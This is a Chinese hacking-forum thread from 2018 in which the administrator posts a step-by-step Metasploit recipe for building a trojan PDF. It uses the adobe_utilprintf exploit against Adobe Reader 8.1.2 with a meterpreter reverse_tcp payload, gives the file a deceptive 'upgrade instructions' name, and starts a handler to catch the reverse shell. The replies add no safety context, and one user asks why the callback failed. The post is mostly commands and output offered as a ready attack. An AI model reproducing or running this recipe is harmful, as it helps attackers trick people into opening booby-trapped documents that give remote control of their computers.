搜索
查看: 5886|回复: 2

msfconsole生成pdf 渗透测试

  [复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-7-2 18:47:01 | 显示全部楼层 |阅读模式 来自 甘肃陇南
一:生成pdf木马
[pre]
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME => BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

   Name      Current Setting                        Required  Description
   ----      ---------------                        --------  -----------
   FILENAME  BestComputers-UpgradeInstructions.pdf  yes       The file name.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.8.128    yes       The listen address
   LPORT     4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)
[/pre]

二:开始攻击
[pre]
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(handler) > exploit
  • Handler binding to LHOST 0.0.0.0
  • Started reverse handler
  • Starting the payload handler...
    [/pre]




  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?注册

    ×
    有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
    回复

    使用道具 举报

    330

    主题

    177

    回帖

    1071

    积分

    vip用户

    积分
    1071

    注册会员活跃会员热心会员

    QQ
    发表于 2018-7-2 21:13:56 | 显示全部楼层
    666
    {:9048:}
    有没有参加CTF比赛的,一起组队啊!
    回复

    使用道具 举报

    152

    主题

    99

    回帖

    540

    积分

    高级会员

    中国黑客

    积分
    540
    QQ
    发表于 2018-7-3 08:32:34 来自手机 | 显示全部楼层 来自 甘肃陇南
    楼主,我生成后运行pdf文档,得不到反弹!怎么回事?{:9012:}{:9012:}{:9012:}
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表